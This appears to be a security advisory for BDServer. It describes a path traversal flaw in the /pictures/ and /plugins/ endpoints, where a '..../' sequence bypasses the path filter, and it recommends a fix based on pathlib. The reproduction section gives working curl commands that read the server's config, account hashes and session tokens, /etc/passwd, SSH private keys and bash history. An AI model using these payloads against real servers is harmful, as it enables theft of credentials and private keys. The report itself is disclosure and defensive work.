This repository has been archived on 2026-04-22. You can view files and clone it. You cannot open issues or pull requests or push a commit.
Files
2026-01-21 13:12:04 -05:00
..
2026-01-21 13:12:04 -05:00

Path Traversal in File-Serving Endpoints

Summary

Multiple file-serving endpoints in BDServer contain a path traversal vulnerability allowing unauthenticated attackers to read arbitrary files from the server's filesystem. The vulnerability exists because the path sanitization filter can be bypassed using the sequence ..../ (four dots, one slash). The severity depends on what exists on the server: account data, configuration files, SSH keys, and other sensitive files are all potential targets.

Vulnerability Details

Property Value
Type Path Traversal / Local File Inclusion
CVSS 7.5 (High)
CWE CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Root Cause

The /pictures/ and /plugins/ endpoints serve files from the server's data directory. Both accept a user-controlled path after the prefix and use identical logic.

Below is the vulnerable code for /pictures/ and /plugins/:

elif self.path.startswith("/pictures/"):  # or "/plugins/"
    try:
        folder = Set.Folder()
        f = open(folder+self.path, "rb")
        f = f.read()
        Render.headers(self, 200)
        self.wfile.write(f)
    except:
        Render.NotFound(self)

The code concatenates the user-supplied path directly with the data folder and opens the resulting file without validating it remains within the intended directory.

The server does include a filter intended to prevent path traversal, but it is insufficient.

Below is the filter code:

self.path = self.path.replace("/..", "/")

The filter replaces /.. with /. The sequence ..../ exploits this: when preceded by a slash (/..../), the filter matches /.. and replaces it with /, but the remaining two dots and trailing slash (../) stay intact. The result is /../.

For example:

Input:  /pictures/..../config.json
Output: /pictures/../config.json

Reproducing the Vulnerability

The following examples use curl's --path-as-is flag to prevent path normalization from removing the traversal sequences. These examples assume a local test server running on localhost:8080, but the vulnerability affects any BDServer instance.

Read Application Configuration

curl --path-as-is "http://localhost:8080/pictures/..../config.json"
curl --path-as-is "http://localhost:8080/plugins/..../config.json"

A successful request returns the server's configuration:

{
    "title": "Test Server",
    "domain": "localhost",
    "port": 8080,
    "main_account": "admin"
}

Read User Account Data

Account files contain password hashes and session tokens:

curl --path-as-is "http://localhost:8080/pictures/..../accounts/admin.json"
curl --path-as-is "http://localhost:8080/plugins/..../accounts/admin.json"
{
    "username": "admin",
    "password": "bed4efa1d4fdbd954bd3705d6a2a78270ec9a52ecfbfb010c61862af5c76af1761ffeb1aef6aca1bf5d02b3781aa854fabd2b69c790de74e17ecfec3cb6ac4bf",
    "sessions": {
        "62W2OE15ACZL3Y0VNPFWX4LBCXDWR9CMHYVMPHCSZOLIF7E0GORMV52Q1TMD...": ...
    },
    ...
}

Read System Files

Traverse up multiple directories to reach the filesystem root:

curl --path-as-is "http://localhost:8080/pictures/..../..../..../..../..../etc/passwd"
curl --path-as-is "http://localhost:8080/plugins/..../..../..../..../..../etc/passwd"
root:x:0:0::/root:/usr/bin/bash
bin:x:1:1::/:/usr/bin/nologin
daemon:x:2:2::/:/usr/bin/nologin
...

Steal SSH Private Keys

When the server runs directly on a personal machine without containerization, SSH keys are accessible. An attacker can extract usernames from /etc/passwd and target their home directories:

curl --path-as-is "http://localhost:8080/pictures/..../..../..../..../..../home/user/.ssh/id_rsa"
curl --path-as-is "http://localhost:8080/pictures/..../..../..../..../..../home/user/.ssh/id_ed25519"

Read Bash History

Command history often contains sensitive information such as passwords passed as arguments, API keys, or database connection strings:

curl --path-as-is "http://localhost:8080/pictures/..../..../..../..../..../home/user/.bash_history"

Remediation

Consider a Mature Web Framework

Serving static files securely is a solved problem. Established web frameworks like Flask and Django provide safe file-serving utilities that handle path traversal prevention internally. Alternatively, static content can be served through a dedicated web server like nginx or Caddy, which operate at a lower level and are hardened against these attacks.

Fix for Current Codebase

The existing filter in modules/Run.py (self.path.replace("/..", "/")) should be removed as it provides no protection and obscures the vulnerability.

Each file-serving endpoint should validate that the resolved path stays within its intended directory. Python's pathlib module provides resolve() to canonicalize paths and is_relative_to() to safely check containment:

from pathlib import Path

elif self.path.startswith("/pictures/"):
    try:
        folder = Path(Set.Folder())
        allowed = (folder / "pictures").resolve()
        requested = (folder / self.path.lstrip("/")).resolve()

        if not requested.is_relative_to(allowed):
            Render.AccessDenied(self)
            return

        f = open(requested, "rb")
        f = f.read()
        Render.headers(self, 200)
        self.wfile.write(f)
    except:
        Render.NotFound(self)

The same pattern should be applied to the /plugins/ endpoint. Calling resolve() normalizes the path and resolves symlinks, while is_relative_to() verifies the resolved path is within the allowed directory:

Request Path Resolved Path is_relative_to(allowed)
/pictures/image.png /data/pictures/image.png True
/pictures/../config.json /data/config.json False
/pictures/../accounts/admin.json /data/accounts/admin.json False
/pictures/../../../../etc/passwd /etc/passwd False

Provide a Containerized Deployment Option

Even with proper path validation, defense in depth is valuable. Providing an official Docker image or container deployment guide would limit the blast radius of file-read vulnerabilities. A properly containerized BDServer instance cannot access the host system's SSH keys, shell history, or other sensitive files outside the container's filesystem. This protects operators who run the server on personal machines or shared infrastructure.

Disclaimer

This assessment was performed on a best-effort basis against BDServer commit dc86854 and reflects the state of the software at the time of testing. The findings and remediations are provided for informational purposes and should be independently validated before implementation. This report does not guarantee all vulnerabilities have been identified, nor does it guarantee the suggested fixes will be effective in all environments.